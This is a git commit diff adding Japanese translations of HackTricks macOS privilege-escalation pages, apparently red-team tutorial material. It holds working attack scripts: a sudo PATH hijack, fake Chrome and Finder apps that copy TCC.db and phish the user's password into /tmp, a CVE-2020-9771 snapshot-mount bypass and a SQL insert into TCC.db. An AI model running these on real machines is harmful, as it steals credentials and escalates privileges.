Translated ['linux-hardening/privilege-escalation/README.md', 'macos-har

This commit is contained in:
Translator 2023-12-20 02:39:21 +00:00
parent 8eeb2e6774
commit be6d6fbe9c
5 changed files with 634 additions and 396 deletions

View file

@ -162,6 +162,7 @@
* [macOS Sensitive Locations](macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-sensitive-locations.md)
* [macOS Universal binaries & Mach-O Format](macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md)
* [macOS Objective-C](macos-hardening/macos-security-and-privilege-escalation/macos-basic-objective-c.md)
* [macOS Privilege Escalation](macos-hardening/macos-security-and-privilege-escalation/macos-privilege-escalation.md)
* [macOS Proces Abuse](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/README.md)
* [macOS Dirty NIB](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-dirty-nib.md)
* [macOS Electron Applications Injection](macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md)

File diff suppressed because it is too large Load diff

View file

@ -4,7 +4,7 @@
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
@ -14,26 +14,24 @@
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProofはすべての暗号バグバウンティのホームです。**
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
**遅延なしで報酬を受け取る**\
HackenProofのバウンティは、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
**ハッキングの洞察**\
ハッキングのスリルと課題に深く入り込むコンテンツに参加しましょう
**Web3ペンテストの経験を積む**\
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです上昇期のWeb3セキュリティをマスターしましょう。
**リアルタイムのハックニュース**\
リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新の状態に保ちましょう
**Web3ハッカーレジェンドになる**\
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
**最新の発表**\
最新のバグバウンティの開始や重要なプラットフォームの更新情報について、常に情報を得ましょう
[**HackenProofでサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
{% embed url="https://hackenproof.com/register" %}
**[Discord](https://discord.com/invite/N3FrSbmwdy)に参加して、トップハッカーとの協力を始めましょう!**
## 基本的なMacOS
MacOSに慣れていない場合は、MacOSの基本を学ぶことから始めるべきです
* 特別なMacOSの**ファイルと権限:**
* 特殊なMacOSの**ファイルと権限:**
{% content-ref url="macos-files-folders-and-binaries/" %}
[macos-files-folders-and-binaries](macos-files-folders-and-binaries/)
@ -68,7 +66,7 @@ MacOSに慣れていない場合は、MacOSの基本を学ぶことから始め
### MacOS MDM
企業では、**macOS**システムはおそらく**MDMで管理**される可能性が高いです。したがって、攻撃者の視点からは、**それがどのように機能するか**を知ることが興味深いです:
企業では、**macOS**システムはおそらく**MDMで管理**されることが多いです。したがって、攻撃者の観点からは、**それがどのように機能するか**を知ることが興味深いです:
{% content-ref url="../macos-red-teaming/macos-mdm/" %}
[macos-mdm](../macos-red-teaming/macos-mdm/)
@ -100,74 +98,37 @@ MacOSに慣れていない場合は、MacOSの基本を学ぶことから始め
**rootが使用するファイル**を**作成**できるようになると、ユーザーはその内容を利用したり、別の場所を指すために**シンボリックリンク/ハードリンク**を作成したりすることができます。
このような脆弱性の場合、**脆弱な`.pkg`インストーラー**をチェックすることを忘れないでください:
このような脆弱性をチェックする際には、**脆弱な`.pkg`インストーラー**を確認することを忘れないでください:
{% content-ref url="macos-files-folders-and-binaries/macos-installers-abuse.md" %}
[macos-installers-abuse.md](macos-files-folders-and-binaries/macos-installers-abuse.md)
{% endcontent-ref %}
### プロセスの乱用による権限と特権の乱用
### ファイル拡張子とURLスキームアプリハンドラ
もしプロセスが、より高い権限や特権を持つ他のプロセスにコードを注入したり、それと連絡を取ったりして特権操作を実行できる場合、彼は特権を昇格させ、[Sandbox](macos-security-protections/macos-sandbox/)や[TCC](macos-security-protections/macos-tcc/)などの防御策をバイパスすることができます。
{% content-ref url="macos-proces-abuse/" %}
[macos-proces-abuse](macos-proces-abuse/)
{% endcontent-ref %}
### ファイル拡張子とURLスキームのアプリハンドラ
ファイル拡張子によって登録された奇妙なアプリは乱用される可能性があり、異なるアプリケーションが特定のプロトコルを開くために登録されることがあります。
ファイル拡張子によって登録された奇妙なアプリは悪用される可能性があり、異なるアプリケーションが特定のプロトコルを開くために登録されることがあります。
{% content-ref url="macos-file-extension-apps.md" %}
[macos-file-extension-apps.md](macos-file-extension-apps.md)
{% endcontent-ref %}
## MacOS特権昇格
## macOS TCC / SIP特権エスカレーション
### CVE-2020-9771 - mount\_apfs TCCバイパスと特権昇格
macOSでは、**アプリケーションやバイナリにはアクセス権限**があり、他のものよりも特権を持つことができます。
**どのユーザー**(特権を持たないユーザーも含む)でも、タイムマシンのスナップショットを作成し、マウントし、そのスナップショットの**すべてのファイルにアクセス**することができます。\
必要なのは、使用されるアプリケーション(例:`Terminal`)が**フルディスクアクセス**FDAアクセス`kTCCServiceSystemPolicyAllfiles`)を持つ必要があり、それは管理者によって許可される必要があります。
したがって、macOSマシンを成功裏に侵害するためには、攻撃者は自身のTCC特権を**エスカレーション**する必要があります(または、必要に応じて**SIPをバイパス**する必要があります)。
{% code overflow="wrap" %}
```bash
# Create snapshot
tmutil localsnapshot
これらの特権は、通常、アプリケーションが署名された**エンタイトルメント**の形で与えられるか、アプリケーションがいくつかのアクセスを要求し、**ユーザーが承認**した後、**TCCデータベース**に見つけることができます。プロセスがこれらの特権を取得する別の方法は、それらの特権を持つプロセスの**子プロセス**であることです。
# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local
これらのリンクをたどって、[**TCCで特権をエスカレーション**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses)する方法、[**TCCをバイパス**](macos-security-protections/macos-tcc/macos-tcc-bypasses/)する方法、そして過去に[**SIPがバイパス**](macos-security-protections/macos-sip.md#sip-bypasses)された方法を見つけてください。
# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap
## macOS伝統的な特権エスカレーション
# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap
もちろん、レッドチームの観点からは、ルートへのエスカレーションにも関心を持つべきです。いくつかのヒントについては、次の投稿をチェックしてください:
# Access it
ls /tmp/snap/Users/admin_user # This will work
```
{% endcode %}
より詳しい説明は[**元のレポート**](https://theevilbit.github.io/posts/cve\_2020\_9771/)で見つけることができます。
### 機密情報
{% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %}
[macos-sensitive-locations.md](macos-files-folders-and-binaries/macos-sensitive-locations.md)
{% content-ref url="macos-privilege-escalation.md" %}
[macos-privilege-escalation.md](macos-privilege-escalation.md)
{% endcontent-ref %}
### Linux Privesc
まず、Linux/Unixに影響を与える特権昇格に関するほとんどのトリックは、MacOSマシンにも影響を与えることに注意してください。したがって、次を参照してください
{% content-ref url="../../linux-hardening/privilege-escalation/" %}
[privilege-escalation](../../linux-hardening/privilege-escalation/)
{% endcontent-ref %}
## MacOSの防御アプリ
## 参考文献
* [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS)
@ -178,29 +139,27 @@ ls /tmp/snap/Users/admin_user # This will work
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
**HackenProofはすべての暗号バグバウンティの場です。**
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
**遅延なしで報酬を受け取る**\
HackenProofのバウンティは、顧客が報酬予算を入金した後に開始されます。バグが検証された後に報酬を受け取ることができます。
**ハッキングの洞察**\
ハッキングのスリルと課題に深く入り込むコンテンツに参加しましょう
**Web3ペントestingの経験を積む**\
ブロックチェーンプロトコルとスマートコントラクトは新しいインターネットです上昇期のweb3セキュリティをマスターしましょう。
**リアルタイムのハックニュース**\
リアルタイムのニュースと洞察を通じて、ハッキングの世界を最新の状態に保ちましょう
**Web3ハッカーレジェンドになる**\
各検証済みのバグで評判ポイントを獲得し、週間リーダーボードのトップを制覇しましょう。
**最新のお知らせ**\
最新のバグバウンティの開始や重要なプラットフォームの更新情報を把握しましょう
[**HackenProofにサインアップ**](https://hackenproof.com/register)してハッキングから報酬を得ましょう!
{% embed url="https://hackenproof.com/register" %}
**[Discord](https://discord.com/invite/N3FrSbmwdy)** に参加して、今日からトップハッカーと協力しましょう!
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを発見してください
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを発見してください
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**をフォロー**してください。
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出**してください。
</details>

View file

@ -0,0 +1,262 @@
# macOS特権エスカレーション
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASSHackTricksグッズ**](https://peass.creator-spring.com)を手に入れましょう。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
</details>
## TCC特権エスカレーション
TCC特権エスカレーションを探してここに来た場合は、次に進んでください
{% content-ref url="macos-security-protections/macos-tcc/" %}
[macos-tcc](macos-security-protections/macos-tcc/)
{% endcontent-ref %}
## Linux Privesc
注意してください。**Linux/Unixに関する特権エスカレーションのほとんどは、MacOSにも影響を与えます**。したがって、次を参照してください:
{% content-ref url="../../linux-hardening/privilege-escalation/" %}
[privilege-escalation](../../linux-hardening/privilege-escalation/)
{% endcontent-ref %}
## ユーザーのインタラクション
### Sudoハイジャック
オリジナルの[Sudoハイジャック技術はLinux特権エスカレーションの投稿内にあります](../../linux-hardening/privilege-escalation/#sudo-hijacking)。
ただし、macOSでは、ユーザーが**`sudo`**を実行するときに、ユーザーの**`PATH`**が**維持**されます。つまり、この攻撃を達成する別の方法は、被害者が**`sudo`**を実行するときに実行される**他のバイナリ**を**ハイジャック**することです:
```bash
# Let's hijack ls in /opt/homebrew/bin, as this is usually already in the users PATH
cat > /opt/homebrew/bin/ls <<EOF
#!/bin/bash
if [ "\$(id -u)" -eq 0 ]; then
whoami > /tmp/privesc
fi
/bin/ls "\$@"
EOF
chmod +x /opt/homebrew/bin/ls
# victim
sudo ls
```
注意してください、ターミナルを使用するユーザーはおそらく**Homebrewがインストールされている**でしょう。そのため、**`/opt/homebrew/bin`**内のバイナリを乗っ取ることが可能です。
### Dockのなりすまし
いくつかの**ソーシャルエンジニアリング**を使用すると、実際には自分自身のスクリプトを実行するために、ドック内で**Google Chromeをなりすます**ことができます。
{% tabs %}
{% tab title="Chromeのなりすまし" %}
いくつかの提案:
* ドックにChromeがあるかどうかを確認し、その場合はそのエントリを**削除**し、ドック配列の**同じ位置に** **偽のChromeエントリを追加**します。
```bash
#!/bin/sh
# THIS REQUIRES GOOGLE CHROME TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%Chrome%';
rm -rf /tmp/Google\ Chrome.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Google\ Chrome.app/Contents/MacOS
mkdir -p /tmp/Google\ Chrome.app/Contents/Resources
# Payload to execute
cat > /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char *cmd = "open /Applications/Google\\\\ Chrome.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Enter your password to update Google Chrome:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"Applications:Google Chrome.app:Contents:Resources:app.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF
gcc /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c -o /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
rm -rf /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome.c
chmod +x /tmp/Google\ Chrome.app/Contents/MacOS/Google\ Chrome
# Info.plist
cat << EOF > /tmp/Google\ Chrome.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Google Chrome</string>
<key>CFBundleIdentifier</key>
<string>com.google.Chrome</string>
<key>CFBundleName</key>
<string>Google Chrome</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF
# Copy icon from Google Chrome
cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chrome.app/Contents/Resources/app.icns
# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep 0.1
killall Dock
```
{% tab title="Finderのなりすまし" %}
いくつかの提案:
* DockからFinderを削除することはできませんので、Dockに追加する場合は、偽のFinderを本物のFinderの隣に配置することができます。そのためには、Dockの配列の最初に偽のFinderエントリを追加する必要があります。
* 別のオプションは、Dockに配置せずに単に開くことです。"FinderがFinderを制御するように要求している"というのは、それほど奇妙ではありません。
```bash
#!/bin/sh
# THIS REQUIRES Finder TO BE INSTALLED (TO COPY THE ICON)
# If you want to removed granted TCC permissions: > delete from access where client LIKE '%finder%';
rm -rf /tmp/Finder.app/ 2>/dev/null
# Create App structure
mkdir -p /tmp/Finder.app/Contents/MacOS
mkdir -p /tmp/Finder.app/Contents/Resources
# Payload to execute
cat > /tmp/Finder.app/Contents/MacOS/Finder.c <<EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main() {
char *cmd = "open /System/Library/CoreServices/Finder.app & "
"sleep 2; "
"osascript -e 'tell application \"Finder\"' -e 'set homeFolder to path to home folder as string' -e 'set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias' -e 'set targetFolder to POSIX file \"/tmp\" as alias' -e 'duplicate file sourceFile to targetFolder with replacing' -e 'end tell'; "
"PASSWORD=\$(osascript -e 'Tell application \"Finder\"' -e 'Activate' -e 'set userPassword to text returned of (display dialog \"Finder needs to update some components. Enter your password:\" default answer \"\" with hidden answer buttons {\"OK\"} default button 1 with icon file \"System:Library:CoreServices:Finder.app:Contents:Resources:Finder.icns\")' -e 'end tell' -e 'return userPassword'); "
"echo \$PASSWORD > /tmp/passwd.txt";
system(cmd);
return 0;
}
EOF
gcc /tmp/Finder.app/Contents/MacOS/Finder.c -o /tmp/Finder.app/Contents/MacOS/Finder
rm -rf /tmp/Finder.app/Contents/MacOS/Finder.c
chmod +x /tmp/Finder.app/Contents/MacOS/Finder
# Info.plist
cat << EOF > /tmp/Finder.app/Contents/Info.plist
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key>
<string>Finder</string>
<key>CFBundleIdentifier</key>
<string>com.apple.finder</string>
<key>CFBundleName</key>
<string>Finder</string>
<key>CFBundleVersion</key>
<string>1.0</string>
<key>CFBundleShortVersionString</key>
<string>1.0</string>
<key>CFBundleInfoDictionaryVersion</key>
<string>6.0</string>
<key>CFBundlePackageType</key>
<string>APPL</string>
<key>CFBundleIconFile</key>
<string>app</string>
</dict>
</plist>
EOF
# Copy icon from Finder
cp /System/Library/CoreServices/Finder.app/Contents/Resources/Finder.icns /tmp/Finder.app/Contents/Resources/app.icns
# Add to Dock
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Finder.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
sleep 0.1
killall Dock
```
{% endtab %}
{% endtabs %}
## TCC - ルート特権の昇格
### CVE-2020-9771 - mount\_apfs TCC バイパスと特権の昇格
**どのユーザーでも**(特権を持たないユーザーでも)タイムマシンのスナップショットを作成し、マウントすることができ、そのスナップショットの**すべてのファイルにアクセス**することができます。\
必要な特権は、使用されるアプリケーション(例:`Terminal`)が**フルディスクアクセス**FDAアクセス`kTCCServiceSystemPolicyAllfiles`)を持つ必要があり、これは管理者によって許可される必要があります。
{% code overflow="wrap" %}
```bash
# Create snapshot
tmutil localsnapshot
# List snapshots
tmutil listlocalsnapshots /
Snapshots for disk /:
com.apple.TimeMachine.2023-05-29-001751.local
# Generate folder to mount it
cd /tmp # I didn it from this folder
mkdir /tmp/snap
# Mount it, "noowners" will mount the folder so the current user can access everything
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.2023-05-29-001751.local /System/Volumes/Data /tmp/snap
# Access it
ls /tmp/snap/Users/admin_user # This will work
```
{% endcode %}
より詳しい説明は[**元のレポート**](https://theevilbit.github.io/posts/cve\_2020\_9771/)にあります。
## 機密情報
特権をエスカレーションするのに役立つことがあります:
{% content-ref url="macos-files-folders-and-binaries/macos-sensitive-locations.md" %}
[macos-sensitive-locations.md](macos-files-folders-and-binaries/macos-sensitive-locations.md)
{% endcontent-ref %}
###
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* **サイバーセキュリティ企業**で働いていますか? HackTricksであなたの**会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASSHackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **ハッキングのトリックを共有するには、**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。**
</details>

View file

@ -18,13 +18,13 @@
ユーザーの視点からは、TCCが動作しているのは、**TCCによって保護された機能へのアクセスをアプリケーションが要求したとき**です。これが発生すると、**ユーザーにはアクセスを許可するかどうかを尋ねるダイアログが表示**されます。
また、ユーザーが**ファイルにアクセスを許可する**こともできます。たとえば、ユーザーが**ファイルをプログラムにドラッグ&ドロップする**場合などです(もちろん、プログラムはそれにアクセスできる必要があります)。
また、ユーザーが**ファイルにアクセスを許可する**こともできます。たとえば、ユーザーが**ファイルをプログラムにドラッグ&ドロップする**場合など、ユーザーの**明示的な意図**によってアプリにアクセスを許可することがきます(もちろん、プログラムはそれにアクセスできる必要があります)。
![TCCプロンプトの例](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
**TCC**は、`/System/Library/PrivateFrameworks/TCC.framework/Support/tccd`にある**デーモン**によって処理され、`/System/Library/LaunchDaemons/com.apple.tccd.system.plist`で構成されています(`com.apple.tccd.system`というマッハサービスを登録します)。
ログインしているユーザーごとに定義された**ユーザーモードのtccd**が`/System/Library/LaunchAgents/com.apple.tccd.plist`に実行され、マッハサービス`com.apple.tccd`と`com.apple.usernotifications.delegate.com.apple.tccd`を登録します。
ログインしているユーザーごとに定義された**ユーザーモードのtccd**があり、`/System/Library/LaunchAgents/com.apple.tccd.plist`にあり、マッハサービス`com.apple.tccd`と`com.apple.usernotifications.delegate.com.apple.tccd`を登録しています。
ここでは、システムとユーザーとして実行されているtccdを確認できます。
```bash
@ -115,7 +115,7 @@ sqlite> select * from access where client LIKE "%telegram%" and auth_value=0;
* **`auth_value`** には、denied(0)、unknown(1)、allowed(2)、またはlimited(3) の異なる値が入る可能性があります。
* **`auth_reason`** には、以下の値が入る可能性があります: Error(1)、User Consent(2)、User Set(3)、System Set(4)、Service Policy(5)、MDM Policy(6)、Override Policy(7)、Missing usage string(8)、Prompt Timeout(9)、Preflight Unknown(10)、Entitled(11)、App Type Policy(12)
* **csreq** フィールドは、実行するバイナリを検証し、TCC の権限を付与する方法を示すために存在しています:
```
```bash
# Query to get cserq in printable hex
select service, client, hex(csreq) from access where auth_value=2;
@ -187,7 +187,7 @@ csreq -t -r /tmp/telegram_csreq.bin
ただし、アプリが`~/Desktop`、`~/Downloads`、`~/Documents`などの特定のユーザーフォルダにアクセスするためには、特定のエンタイトルメントは必要ありません。システムはアクセスを透過的に処理し、必要に応じてユーザーにプロンプトを表示します。
Appleのアプリはプロンプトを生成しません。それらはエンタイトルメントリストに事前に付与された権限を含んでいるため、ポップアップを生成することはありませんし、TCCデータベースにも表示されません。例えば
Appleのアプリはプロンプトを生成しません。エンタイトルメントリストに事前に付与された権限が含まれているため、ポップアップは表示されず、TCCデータベースにも表示されません。例えば
```bash
codesign -dv --entitlements :- /System/Applications/Calendar.app
[...]
@ -201,13 +201,13 @@ codesign -dv --entitlements :- /System/Applications/Calendar.app
これにより、カレンダーがユーザーにリマインダー、カレンダー、アドレス帳へのアクセスを求めることを防ぎます。
{% hint style="success" %}
権限に関する公式ドキュメント以外にも、[https://newosxbook.com/ent.jl](https://newosxbook.com/ent.jl)で非公式な権限に関する興味深い情報を見つけることができます。
権限に関する公式ドキュメント以外にも、[https://newosxbook.com/ent.jl](https://newosxbook.com/ent.jl) には非公式ながら興味深い権限に関する情報が見つかることがあります。
{% endhint %}
### 機密情報保護されていない場所
### 機密情報保護されていない場所
* $HOME (自体)
* $HOME/.ssh, $HOME/.awsなど
* $HOME/.ssh, $HOME/.aws, など
* /tmp
### ユーザーの意図 / com.apple.macl
@ -233,14 +233,18 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
また、コンピュータ内のアプリのUUIDを許可するファイルを別のコンピュータに移動すると、同じアプリでも異なるUIDを持つため、そのアプリにアクセス権が付与されません。
{% endhint %}
拡張属性`com.apple.macl`は他の拡張属性とは異なり、**SIPによって保護**されているため、クリアすることはできません。ただし、[**この投稿で説明されているように**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/)、ファイルを**圧縮**して、**削除**して、**解凍**することで無効にすることが可能です。
拡張属性`com.apple.macl`は他の拡張属性とは異なり、**SIPによって保護**されているため、**クリアすることはできません**。ただし、[**この投稿で説明されているように**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/)、ファイルを**圧縮**し、**削除**してから**解凍**することで無効にすることが可能です。
## TCCの特権昇格とバイパス
### TCC挿入
### TCCへの挿入
ある時点でTCCデータベースに対して書き込みアクセス権を取得できた場合、以下のようなエントリを追加することができますコメントを削除してください
```
ある時点でTCCデータベースに対して書き込みアクセス権を取得できた場合、以下のようなエントリを追加するために次のようなものを使用することができますコメントを削除してください
<details>
<summary>TCCへの挿入の例</summary>
```sql
INSERT INTO access (
service,
client,
@ -279,9 +283,11 @@ NULL, -- assuming pid_version is an integer and optional
strftime('%s', 'now') -- last_reminded with default current timestamp
);
```
</details>
### 自動化からFDAへの特権昇格
